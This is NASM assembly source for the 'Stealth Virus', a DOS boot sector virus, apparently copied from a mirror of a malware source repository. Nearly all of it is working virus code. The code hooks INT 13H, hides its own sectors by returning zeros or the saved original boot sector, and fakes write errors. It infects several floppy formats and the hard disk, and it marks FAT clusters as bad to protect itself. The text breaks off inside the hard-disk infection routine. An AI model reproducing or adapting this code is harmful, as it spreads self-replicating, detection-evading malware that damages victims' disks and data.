mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1219 lines
52 KiB
NASM
1219 lines
52 KiB
NASM
;The Stealth Virus is a boot sector virus which remains resident in memory
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;after boot so it can infect disks. It hides itself on the disk and includes
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;special anti-detection interrupt traps so that it is very difficult to
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;locate. This is a very infective and crafty virus.
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COMSEG SEGMENT PARA
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ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG
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ORG 100H
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START:
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jmp BOOT_START
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;*******************************************************************************
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;* BIOS DATA AREA *
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;*******************************************************************************
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ORG 413H
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MEMSIZE DW 640 ;size of memory installed, in KB
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;*******************************************************************************
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;* VIRUS CODE STARTS HERE *
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;*******************************************************************************
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ORG 7000H
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STEALTH: ;A label for the beginning of the virus
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;*******************************************************************************
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;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
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;for every sector on the track. This is put at the very start of the virus so
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;that when sectors are formatted, we will not run into a DMA boundary, which
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;would cause the format to fail. This is a false error, but one that happens
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;with some BIOS's, so we avoid it by putting this data first.
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FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,
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DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
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FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette
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DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
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;*******************************************************************************
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;* INTERRUPT 13H HANDLER *
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;*******************************************************************************
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OLD_13H DD ? ;Old interrupt 13H vector goes here
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INT_13H:
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sti
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cmp ah,2 ;we want to intercept reads
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jz READ_FUNCTION
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cmp ah,3 ;and writes to all disks
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jz WRITE_FUNCTION
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I13R: jmp DWORD PTR cs:[OLD_13H]
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;*******************************************************************************
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;This section of code handles all attempts to access the Disk BIOS Function 2,
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;(Read). It checks for several key situations where it must jump into action.
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;they are:
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; 1) If an attempt is made to read the boot sector, it must be processed
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; through READ_BOOT, so an infected boot sector is never seen. Instead,
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; the original boot sector is read.
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; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
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; drive C are read, they are processed by READ_HARD, so the virus
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; code is never seen on the hard drive.
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; 3) If an attempt is made to read Track 1, Head 0, Sector 1 on the
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; floppy, this routine checks to see if the floppy has already been
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; infected, and if not, it goes ahead and infects it.
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READ_FUNCTION: ;Disk Read Function Handler
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cmp dh,0 ;is it head 0?
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jnz I13R ;nope, let BIOS handle it
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cmp ch,1 ;is it track 1?
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jz RF0 ;yes, go do special processing
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cmp ch,0 ;is it track 0?
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jnz I13R ;no, let BIOS handle it
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cmp cl,1 ;track 0, is it sector 1
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jz READ_BOOT ;yes, go handle boot sector read
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cmp dl,80H ;no, is it hard drive c:?
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jz RF1 ;yes, go check further
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jmp I13R ;else let BIOS handle it
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RF0: cmp dl,80H ;is it hard disk?
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jnc I13R ;yes, let BIOS handle read
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cmp cl,1 ;no, floppy, is it sector 1?
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jnz I13R ;no, let BIOS handle it
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call CHECK_DISK ;is floppy already infected?
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jz I13R ;yes so let BIOS handle it
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call INFECT_FLOPPY ;no, go infect the diskette
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jmp SHORT I13R ;and then let BIOS do the read
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RF1: cmp cl,8 ;sector < 8?
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jnc I13R ;nope, let BIOS handle it
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jmp READ_HARD ;yes, divert read on the C drive
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;*******************************************************************************
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;This section of code handles all attempts to access the Disk BIOS Function 3,
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;(Write). It checks for two key situations where it must jump into action. They
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;are:
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; 1) If an attempt is made to write the boot sector, it must be processed
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; through WRITE_BOOT, so an infected boot sector is never overwritten.
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; instead, the write is redirected to where the original boot sector is
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; hidden.
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; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
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; drive C are written, they are processed by WRITE_HARD, so the virus
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; code is never overwritten.
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WRITE_FUNCTION: ;BIOS Disk Write Function
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cmp dh,0 ;is it head 0?
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jnz I13R ;nope, let BIOS handle it
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cmp ch,0 ;is it track 0?
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jnz I13R ;nope, let BIOS handle it
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cmp cl,1 ;is it sector 1
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jnz WF1 ;nope, check for hard drive
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jmp WRITE_BOOT ;yes, go handle boot sector read
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WF1: cmp dl,80H ;is it the hard drive c: ?
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jnz I13R ;no, another hard drive
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cmp cl,8 ;sector < 8?
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jnc I13R ;nope, let BIOS handle it
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jmp WRITE_HARD ;else take care of writing to C:
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;*******************************************************************************
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;This section of code handles reading the boot sector. There are three
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;possibilities: 1) The disk is not infected, in which case the read should be
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;passed directly to BIOS, 2) The disk is infected and only one sector is
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;requested, in which case this routine figures out where the original boot
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;sector is and reads it, and 3) The disk is infected and more than one sector
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;is requested, in which case this routine breaks the read up into two calls to
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;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
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;additional sectors being read. One of the complexities in this last case is
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;that the routine must return the registers set up as if only one read had
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;been performed.
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; To determine if the disk is infected, the routine reads the real boot sector
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;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
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;this routine goes to get the original boot sector, etc., otherwise it calls ROM
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;BIOS and allows a second read to take place to get the boot sector into the
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;requested buffer at es:bx.
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READ_BOOT:
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push ax ;save registers
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push bx
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push cx
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push dx
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push ds
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push es
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push bp
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push cs ;set ds=es=cs
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pop es
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push cs
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pop ds
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mov bp,sp ;and bp=sp
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RB001: mov al,dl
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call GET_BOOT_SEC ;read the real boot sector
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jnc RB01 ;ok, go on
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call GET_BOOT_SEC ;do it again to make sure
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jnc RB01 ;ok, go on
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jmp RB_GOON ;error, let BIOS return err code
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RB01: call IS_VBS ;is it the viral boot sector?
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jz RB02 ;yes, jump
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jmp RB_GOON ;no, let ROM BIOS read sector
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RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
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mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
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mov al,BYTE PTR [bx] ;get disk type of disk being
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cmp al,80H ;read, and make an index of it
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jnz RB1
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mov al,4
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RB1: mov bl,3 ;to look up location of boot sec
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mul bl
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add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table
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mov bx,ax
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mov ch,[bx] ;get track of orig boot sector
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mov dh,[bx+1] ;get head of orig boot sector
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mov cl,[bx+2] ;get sector of orig boot sector
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mov dl,ss:[bp+6] ;get drive from original spec
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mov bx,ss:[bp+10] ;get read buffer offset
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mov ax,ss:[bp+2] ;and segment
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mov es,ax ;from original specification
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mov ax,201H ;prepare to read 1 sector
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pushf
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call DWORD PTR [OLD_13H] ;do BIOS int 13H
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mov al,ss:[bp+12] ;see if original request
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cmp al,1 ;was for more than one sector
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jz RB_EXIT ;no, go exit
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READ_1NEXT: ;more than 1 sec requested, so
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pop bp ;read the rest as a second call
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pop es ;to BIOS
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pop ds
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pop dx ;first restore these registers
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pop cx
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pop bx
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pop ax
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add bx,512 ;prepare to call BIOS for
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push ax ;balance of read
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dec al ;get registers straight for it
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inc cl
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cmp dl,80H ;is it the hard drive?
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jnz RB15 ;nope, go handle floppy
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push bx ;handle an infected hard drive
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push cx ;by faking read on extra sectors
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push dx ;and returning a block of 0's
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push si
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push di
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push ds
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push bp
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push es
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pop ds ;ds=es
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mov BYTE PTR [bx],0 ;set first byte in buffer = 0
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mov si,bx
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mov di,bx
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inc di
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mov ah,0 ;ax=number of sectors to read
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mov bx,512 ;bytes per sector
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mul bx ;# of bytes to read in dx:ax<64K
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mov cx,ax
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dec cx ;number of bytes to move in cx
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rep movsb ;fill buffer with 0's
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clc ;clear c, fake read successful
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pushf ;then restore everyting properly
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pop ax ;first set flag register
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mov ss:[bp+20],ax ;as stored on the stack
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pop bp ;and pop all registers
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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mov ah,0
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dec cl
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sub bx,512
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iret ;and get out
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RB15: ;read next sectors on floppy
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pushf ;call BIOS to
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call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs)
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push ax
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push bp
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mov bp,sp
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pushf ;use c flag from BIOS call
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pop ax ;to set c flag on the stack
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mov ss:[bp+10],ax
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jc RB2 ;if error, return ah from 2nd rd
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sub bx,512 ;else restore registers so
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dec cl ;it looks as if only one read
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pop bp ;was performed
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pop ax
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pop ax ;and exit with ah=0 to indicate
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mov ah,0 ;successful read
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iret
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RB2: pop bp ;error on 2nd read
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pop ax ;so clean up stack
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add sp,2 ;and get out
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iret
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RB_EXIT: ;exit from single sector read
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mov ax,ss:[bp+18] ;set the c flag on the stack
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push ax ;to indicate successful read
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popf
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clc
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pushf
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pop ax
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mov ss:[bp+18],ax
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pop bp ;restore all registers
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pop es
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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mov ah,0
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iret ;and get out
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RB_GOON: ;This passes control to BIOS
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pop bp ;for uninfected disks
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pop es ;just restore all registers to
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pop ds ;their original values
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pop dx
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pop cx
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pop bx
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pop ax
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jmp I13R ;and go jump to BIOS
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;*******************************************************************************
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;This table identifies where the original boot sector is located for each
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;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect
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;boot sector reads and writes.
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BOOT_SECTOR_LOCATION:
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DB 40,1,6 ;Track, head, sector, 360K drive
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DB 80,1,6 ;1.2M drive
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DB 79,1,9 ;720K drive
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DB 79,1,18 ;1.44M drive
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DB 0,0,7 ;Hard drive
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;*******************************************************************************
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;This routine handles writing the boot sector for all disks. It checks to see
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;if the disk has been infected, and if not, allows BIOS to handle the write.
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;If the disk is infected, this routine redirects the write to put the boot
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;sector being written in the reserved area for the original boot sector. It
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;must also handle the writing of multiple sectors properly, just as READ_BOOT
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;did.
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WRITE_BOOT:
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push ax ;save everything we might change
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push bx
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push cx
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push dx
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push ds
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push es
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push bp
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mov bp,sp
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push cs ;ds=es=cs
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pop ds
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push cs
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pop es
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mov al,dl
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call GET_BOOT_SEC ;read the real boot sector
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jnc WB01
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call GET_BOOT_SEC ;do it again if first failed
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jnc WB01
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jmp WB_GOON ;error on read, let BIOS take it
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WB01: call IS_VBS ;else, is disk infected?
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jz WB02 ;yes
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jmp WB_GOON ;no, let ROM BIOS write sector
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WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
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mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
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mov al,BYTE PTR [bx]
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cmp al,80H ;infected, so redirect the write
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jnz WB1
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mov al,4 ;make an index of the drive type
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WB1: mov bl,3
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mul bl
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add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry
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mov bx,ax
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mov ch,[bx] ;get the location of original
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mov dh,[bx+1] ;boot sector on disk
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mov cl,[bx+2] ;prepare for the write
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mov dl,ss:[bp+6]
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mov bx,ss:[bp+10]
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mov ax,ss:[bp+2]
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mov es,ax
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mov ax,301H
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pushf
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call DWORD PTR [OLD_13H] ;and do it
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sti
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mov dl,ss:[bp+6]
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cmp dl,80H ;was write going to hard drive?
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jnz WB_15 ;no
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mov BYTE PTR [DR_FLAG],80H ;yes, update partition info
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push si
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push di
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mov di,OFFSET PART ;just move it from sec we just
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mov si,ss:[bp+10] ;wrote into the viral boot sec
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add si,OFFSET PART
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sub si,OFFSET BOOT_START
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push es
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pop ds
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push cs
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pop es ;switch ds and es around
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mov cx,20
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rep movsw ;and do the move
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push cs
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pop ds
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mov ax,301H
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mov bx,OFFSET BOOT_START
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mov cx,1 ;Track 0, Sector 1
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mov dx,80H ;drive 80H, Head 0
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pushf ;go write updated viral boot sec
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call DWORD PTR [OLD_13H] ;with new partition info
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pop di ;clean up
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pop si
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WB_15: mov al,ss:[bp+12]
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cmp al,1 ;was write more than 1 sector?
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jz WB_EXIT ;if not, then exit
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WRITE_1NEXT: ;more than 1 sector
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mov dl,ss:[bp+6] ;see if it's the hard drive
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cmp dl,80H
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jz WB_EXIT ;if so, ignore rest of the write
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pop bp ;floppy drive, go write the rest
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pop es ;as a second call to BIOS
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pop ds
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pop dx
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pop cx ;restore all registers
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pop bx
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pop ax
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add bx,512 ;and modify a few to
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push ax ;drop writing the first sector
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dec al
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inc cl
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pushf
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call DWORD PTR cs:[OLD_13H] ;go write the rest
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sti
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push ax
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push bp
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mov bp,sp
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pushf ;use c flag from call
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pop ax ;to set c flag on the stack
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mov ss:[bp+10],ax
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jc WB2 ;an error
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;so exit with ah from 2nd int 13
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sub bx,512
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dec cl
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pop bp
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pop ax
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pop ax ;else exit with ah=0
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mov ah,0 ;to indicate success
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iret
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WB2: pop bp ;exit with ah from 2nd
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pop ax ;interrupt
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add sp,2
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iret
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WB_EXIT: ;exit after 1st write
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mov ax,ss:[bp+18] ;set carry on stack to indicate
|
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push ax ;a successful write operation
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popf
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clc
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pushf
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pop ax
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mov ss:[bp+18],ax
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pop bp ;restore all registers and exit
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pop es
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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mov ah,0
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iret
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WB_GOON: ;pass control to ROM BIOS
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pop bp ;just restore all registers
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pop es
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pop ds
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pop dx
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pop cx
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pop bx
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pop ax
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jmp I13R ;and go do it
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;*******************************************************************************
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;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
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;then instead of reading the true data there, return a block of 0's, since
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;0 is the data stored in a freshly formatted but unused sector. This will
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;fake the caller out and keep him from knowing that the virus is hiding there.
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;If the disk is not infected, return the true data stored in those sectors.
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READ_HARD:
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call CHECK_DISK ;see if disk is infected
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jnz RWH_EX ;no, let BIOS handle the read
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push ax ;else save registers
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push bp
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||
mov bp,sp
|
||
mov BYTE PTR es:[bx],0 ;zero the first byte in the blk
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||
push es
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pop ds
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mov si,bx ;set up es:di and ds:si
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||
mov di,bx ;for a transfer
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||
inc di
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||
mov ah,0 ;ax=number of sectors to read
|
||
mov bx,512 ;bytes per sector
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||
mul bx ;number of bytes to read in ax
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||
mov cx,ax
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||
dec cx ;number of bytes to move
|
||
rep movsb ;do fake read of all 0's
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||
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||
mov ax,ss:[bp+20] ;now set c flag
|
||
push ax ;to indicate succesful read
|
||
popf
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||
clc
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||
pushf
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||
pop ax
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||
mov ss:[bp+20],ax
|
||
|
||
pop bp ;restore everything and exit
|
||
pop ds
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||
pop di
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||
pop si
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||
pop dx
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||
pop cx
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||
pop bx
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||
pop ax
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||
mov ah,0 ;set to indicate successful read
|
||
iret
|
||
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||
RWH_EX: jmp I13R ;pass control to BIOS
|
||
|
||
|
||
;*******************************************************************************
|
||
;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
|
||
;the disk is infected. Instead, fake the return of an error by setting carry
|
||
;and returning ah=4 (sector not found).
|
||
|
||
WRITE_HARD:
|
||
call CHECK_DISK ;see if the disk is infected
|
||
jnz RWH_EX ;no, let BIOS handle it all
|
||
push bp ;yes, infected, so . . .
|
||
push ax
|
||
mov bp,sp
|
||
mov ax,ss:[bp+8] ;get flags off of stack
|
||
push ax
|
||
popf ;put them in current flags
|
||
stc ;set the carry flag
|
||
pushf
|
||
pop ax
|
||
mov ss:[bp+8],ax ;and put flags back on stack
|
||
pop ax
|
||
mov ah,4 ;set up sector not found error
|
||
pop bp
|
||
iret ;and get out of ISR
|
||
|
||
|
||
;*******************************************************************************
|
||
;See if disk dl is infected already. If so, return with Z set. This
|
||
;does not assume that registers have been saved, and saves/restores everything
|
||
;but the flags.
|
||
|
||
CHECK_DISK:
|
||
push ax ;save everything
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
mov al,dl
|
||
call GET_BOOT_SEC ;read the boot sector
|
||
jnc CD1
|
||
xor al,al ;act as if infected
|
||
jmp SHORT CD2 ;in the event of an error
|
||
CD1: call IS_VBS ;see if viral boot sec (set z)
|
||
CD2: pop es ;restore everything
|
||
pop ds ;except the z flag
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
ret
|
||
|
||
|
||
;*******************************************************************************
|
||
;This routine determines from the boot sector parameters what kind of floppy
|
||
;disk is in the drive being accessed, and calls the proper infection routine
|
||
;to infect the drive. It has no safeguards to prevent infecting an already
|
||
;infected disk. the routine CHECK_DISK must be called first to make sure you
|
||
;want to infect before you go and do it. This restores all registers to their
|
||
;initial state.
|
||
|
||
INFECT_FLOPPY:
|
||
pushf ;save everything
|
||
push si
|
||
push di
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push ds
|
||
push es
|
||
push cs
|
||
pop es
|
||
push cs
|
||
pop ds
|
||
sti
|
||
mov bx,OFFSET SCRATCHBUF + 13H ;@ of sec cnt in boot sector
|
||
mov bx,[bx] ;get sector count for this disk
|
||
mov al,dl
|
||
cmp bx,720 ;is it 360K? (720 sectors)
|
||
jnz IF_1 ;no, try another possibility
|
||
call INFECT_360K ;yes, infect it
|
||
jmp SHORT IF_R ;and get out
|
||
IF_1: cmp bx,2400 ;is it 1.2M? (2400 sectors)
|
||
jnz IF_2 ;no, try another possibility
|
||
call INFECT_12M ;yes, infect it
|
||
jmp SHORT IF_R ;and get out
|
||
IF_2: cmp bx,1440 ;is it 720K 3 1/2"? (1440 secs)
|
||
jnz IF_3 ;no, try another possibility
|
||
call INFECT_720K ;yes, infect it
|
||
jmp SHORT IF_R ;and get out
|
||
IF_3: cmp bx,2880 ;is it 1.44M 3 1/2"? (2880 secs)
|
||
jnz IF_R ;no - don't infect this disk
|
||
call INFECT_144M ;yes - infect it
|
||
IF_R: pop es ;restore everyting and return
|
||
pop ds
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop di
|
||
pop si
|
||
popf
|
||
ret
|
||
|
||
|
||
;*******************************************************************************
|
||
;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
|
||
;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
|
||
;code in sectors 1 through 5, and then replacing the boot sector on the disk
|
||
;with the viral boot sector.
|
||
|
||
INFECT_360K:
|
||
call FORMAT_360 ;format the required sectors
|
||
jc INF360_EXIT
|
||
|
||
mov bx,OFFSET SCRATCHBUF ;and go write current boot sec
|
||
push ax ;at Track 40, Head 1, Sector 6
|
||
mov dl,al
|
||
mov dh,1 ;head 1
|
||
mov cx,2806H ;track 40, sector 6
|
||
mov ax,0301H ;BIOS write, for 1 sector
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
pop ax
|
||
jc INF360_EXIT
|
||
|
||
mov di,OFFSET BOOT_DATA
|
||
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
||
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
||
|
||
mov cx,32H / 2 ;copy boot sector disk info over
|
||
rep movsw ;to new boot sector
|
||
mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
|
||
mov BYTE PTR [BOOT_START + 1FDH],al
|
||
mov BYTE PTR [DR_FLAG],0 ;set proper drive type
|
||
|
||
push ax ;write new boot sector to disk
|
||
mov bx,OFFSET BOOT_START ;buffer for the new boot sector
|
||
call PUT_BOOT_SEC ;go write it to disk
|
||
pop ax
|
||
jc INF360_EXIT
|
||
|
||
mov bx,OFFSET STEALTH ;buffer for 5 secs of stealth
|
||
mov dl,al ;drive to write to
|
||
mov dh,1 ;head 1
|
||
mov cx,2801H ;track 40, sector 1
|
||
mov ax,0305H ;write 5 sectors
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
INF360_EXIT:
|
||
ret ;all done
|
||
|
||
|
||
;This routine formats Track 40, Head 1 so we can infect a 360k diskette.
|
||
FORMAT_360:
|
||
push ax ;save drive number in al
|
||
mov dl,al ;dl=drive no.
|
||
mov dh,1 ;head 0
|
||
mov cx,2801H ;track 40, start at sector 1
|
||
mov ax,0506H ;format 6 sectors
|
||
mov bx,OFFSET FMT_360 ;format info for this sector
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
pop ax
|
||
ret
|
||
|
||
|
||
;*******************************************************************************
|
||
;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially
|
||
;the same as the 360K case, except we format Track 80 instead of track 40.
|
||
|
||
INFECT_12M:
|
||
call FORMAT_12M ;format the required sectors
|
||
jc INF12M_EXIT
|
||
|
||
mov bx,OFFSET SCRATCHBUF ;and go boot sector at
|
||
push ax
|
||
mov dl,al
|
||
mov dh,1 ;head 1
|
||
mov cx,5006H ;track 80, sector 6
|
||
mov ax,0301H ;BIOS write, for 1 sector
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
pop ax
|
||
jc INF12M_EXIT
|
||
|
||
mov di,OFFSET BOOT_DATA
|
||
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
||
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
||
|
||
mov cx,32H / 2 ;copy boot sector disk info over
|
||
rep movsw ;to new (viral) boot sector
|
||
mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
|
||
mov BYTE PTR [BOOT_START + 1FDH],al
|
||
mov BYTE PTR [DR_FLAG],1 ;set proper diskette type
|
||
|
||
push ax ;and write viral boot sec to disk
|
||
mov bx,OFFSET BOOT_START ;buffer for viral boot sector
|
||
call PUT_BOOT_SEC ;go write it to disk
|
||
pop ax
|
||
jc INF12M_EXIT
|
||
|
||
mov bx,OFFSET STEALTH ;buffer for 5 secs of stealth
|
||
mov dl,al ;drive to write to
|
||
mov dh,1 ;head 1
|
||
mov cx,5001H ;track 80, sector 1
|
||
mov ax,0305H ;write 5 sectors
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
INF12M_EXIT:
|
||
ret ;all done
|
||
|
||
|
||
;Format Track 80, Head 1 so we can infect a 1.2 Meg diskette.
|
||
FORMAT_12M:
|
||
push ax
|
||
mov dl,al ;set drive number
|
||
mov dh,1 ;head 1
|
||
mov cx,5001H ;track 80, start at sector 1
|
||
mov ax,0506H ;format 6 sectors
|
||
mov bx,OFFSET FMT_12M ;format info for this sector
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
pop ax
|
||
ret
|
||
|
||
|
||
;*******************************************************************************
|
||
;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
|
||
;drives. The virus goes in an existing data area on the disk, so no formatting
|
||
;is required. Instead, we 1) Read the boot sector and put it at Track 79, Head 1
|
||
;sector 9, 2) Put the five sectors of stealth routines at Track 79, Head 1,
|
||
;sector 4-8, 3) Put the viral boot sector at Track 0, Head 0, Sector 1, and
|
||
;4) Mark the diskette's FAT to indicate that the last three clusters are bad,
|
||
;so that DOS will not attempt to overwrite the virus code.
|
||
|
||
INFECT_720K:
|
||
mov bx,OFFSET SCRATCHBUF ;go write boot sec at
|
||
push ax
|
||
mov dl,al
|
||
mov dh,1 ;head 1
|
||
mov cx,4F09H ;track 79, sector 9
|
||
mov ax,0301H ;BIOS write, for 1 sector
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
pop ax
|
||
jc INF720K_EXIT ;exit on error
|
||
|
||
push ax
|
||
mov di,OFFSET BOOT_DATA
|
||
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
||
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
||
|
||
mov cx,32H / 2 ;copy boot sector disk info over
|
||
rep movsw ;to new boot sector
|
||
mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
|
||
mov BYTE PTR [BOOT_START + 1FDH],al
|
||
mov BYTE PTR [DR_FLAG],2 ;set proper diskette type
|
||
pop ax
|
||
|
||
push ax ;write new boot sector to disk
|
||
mov bx,OFFSET BOOT_START
|
||
call PUT_BOOT_SEC ;go write it
|
||
pop ax
|
||
jc INF720K_EXIT
|
||
|
||
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
|
||
mov dl,al ;drive to write to
|
||
mov dh,1 ;head 1
|
||
mov cx,4F04H ;track 79, sector 4
|
||
mov ax,0305H ;write 5 sectors
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
jc INF720K_EXIT
|
||
|
||
mov bx,OFFSET SCRATCHBUF ;now modify the FAT
|
||
mov ax,0201H ;first read 1 sector
|
||
mov cx,4 ;track 0, sector 4, head 0
|
||
mov dh,0
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
jc INF720K_EXIT
|
||
|
||
mov di,OFFSET SCRATCHBUF + 44 ;modify the FAT in RAM
|
||
mov ax,7FF7H ;marking the last 3 clusters
|
||
stosw ;as bad
|
||
mov ax,0F7FFH
|
||
stosw
|
||
mov ax,0FFFH
|
||
stosw
|
||
|
||
mov ax,0301H ;now write the FAT back to disk
|
||
mov cx,4 ;at track 0, sector 4, head 0
|
||
pushf
|
||
call DWORD PTR [OLD_13H]
|
||
jc INF720K_EXIT
|
||
|
||
mov ax,0301H ;do second FAT too
|
||
mov cx,7 ;at track 0, sector 7, head 0
|
||
pushf
|
||
call DWORD PTR [OLD_13H]
|
||
|
||
INF720K_EXIT:
|
||
ret ;all done
|
||
|
||
|
||
;*******************************************************************************
|
||
;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
|
||
;same as infecting a 720K diskette, except that the virus is placed in sectors
|
||
;13-17 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
|
||
|
||
INFECT_144M:
|
||
mov bx,OFFSET SCRATCHBUF ;go write boot sec at
|
||
push ax
|
||
mov dl,al
|
||
mov dh,1 ;head 1
|
||
mov cx,4F12H ;track 79, sector 18
|
||
mov ax,0301H ;BIOS write, for 1 sector
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
pop ax
|
||
jc INF144M_EXIT
|
||
|
||
push ax
|
||
mov di,OFFSET BOOT_DATA
|
||
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
||
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
||
|
||
mov cx,32H / 2 ;copy boot sector disk info over
|
||
rep movsw ;to new boot sector
|
||
mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
|
||
mov BYTE PTR [BOOT_START + 1FDH],al
|
||
mov BYTE PTR [DR_FLAG],3 ;set proper diskette type
|
||
pop ax
|
||
|
||
push ax ;and write new boot sector to disk
|
||
mov bx,OFFSET BOOT_START
|
||
call PUT_BOOT_SEC ;go write it to disk
|
||
pop ax
|
||
jc INF144M_EXIT
|
||
|
||
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
|
||
mov dl,al ;drive to write to
|
||
mov dh,1 ;head 1
|
||
mov cx,4F0DH ;track 79, sector 13
|
||
mov ax,0305H ;write 5 sectors
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
|
||
mov bx,OFFSET SCRATCHBUF ;now modify the FAT
|
||
mov ax,0201H ;first read 1 sector
|
||
mov cx,0AH ;track 0, sector 10, head 0
|
||
mov dh,0
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
jc INF144M_EXIT
|
||
|
||
mov di,OFFSET SCRATCHBUF + 0A8H ;modify the FAT in RAM
|
||
mov ax,es:[di]
|
||
and ax,000FH
|
||
add ax,0FF70H
|
||
stosw
|
||
mov ax,07FF7H ;marking the last 6 clusters
|
||
stosw ;as bad
|
||
mov ax,0F7FFH
|
||
stosw
|
||
mov ax,0FF7FH
|
||
stosw
|
||
mov ax,0FF7H
|
||
stosw
|
||
|
||
mov ax,0301H ;now write the FAT back to disk
|
||
mov cx,0AH ;at track 0, sector 10, head 0
|
||
pushf
|
||
call DWORD PTR [OLD_13H]
|
||
jc INF144M_EXIT
|
||
|
||
mov ax,0301H ;do second FAT too
|
||
mov cx,1 ;at track 0, sector 1, head 1
|
||
mov dh,1
|
||
pushf
|
||
call DWORD PTR [OLD_13H]
|
||
|
||
|
||
INF144M_EXIT:
|
||
ret ;all done
|
||
|
||
|
||
;*******************************************************************************
|
||
;Infect Hard Disk Drive AL with this virus. This involves the following steps:
|
||
;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
|
||
;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
|
||
;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH
|
||
;routines to Track 0, Head 0, Sector 2, 5 sectors total.
|
||
|
||
INFECT_HARD:
|
||
mov al,80H ;set drive type flag to hard disk
|
||
mov BYTE PTR [DR_FLAG],al ;cause that's where it's going
|
||
|
||
call GET_BOOT_SEC ;read the present boot sector
|
||
|
||
mov bx,OFFSET SCRATCHBUF ;and go write it at
|
||
push ax
|
||
mov dl,al
|
||
mov dh,0 ;head 0
|
||
mov cx,0007H ;track 0, sector 7
|
||
mov ax,0301H ;BIOS write, for 1 sector
|
||
pushf
|
||
call DWORD PTR [OLD_13H] ;(int 13H)
|
||
pop ax
|
||
|
||
push ax
|
||
mov di,OFFSET BOOT_DATA
|
||
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
|
||
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
|
||
|
||
mov cx,32H / 2 ;copy boot sector disk info over
|
||
rep movsw ;to new boot sector
|
||
mov di,OFFSET BOOT_START + 200H - 42H
|
||
mov si,OFFSET SCRATCHBUF + 200H - 42H
|
||
mov cx,21H ;copy partition table
|
||
rep movsw ;to new boot sector too!
|
||
pop ax
|
||
|
||
push ax ;and write viral boot sector
|
||
mov bx,OFFSET BOOT_START
|
||
call PUT_BOOT_SEC
|
||
pop ax
|
||
|
||
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
|
||
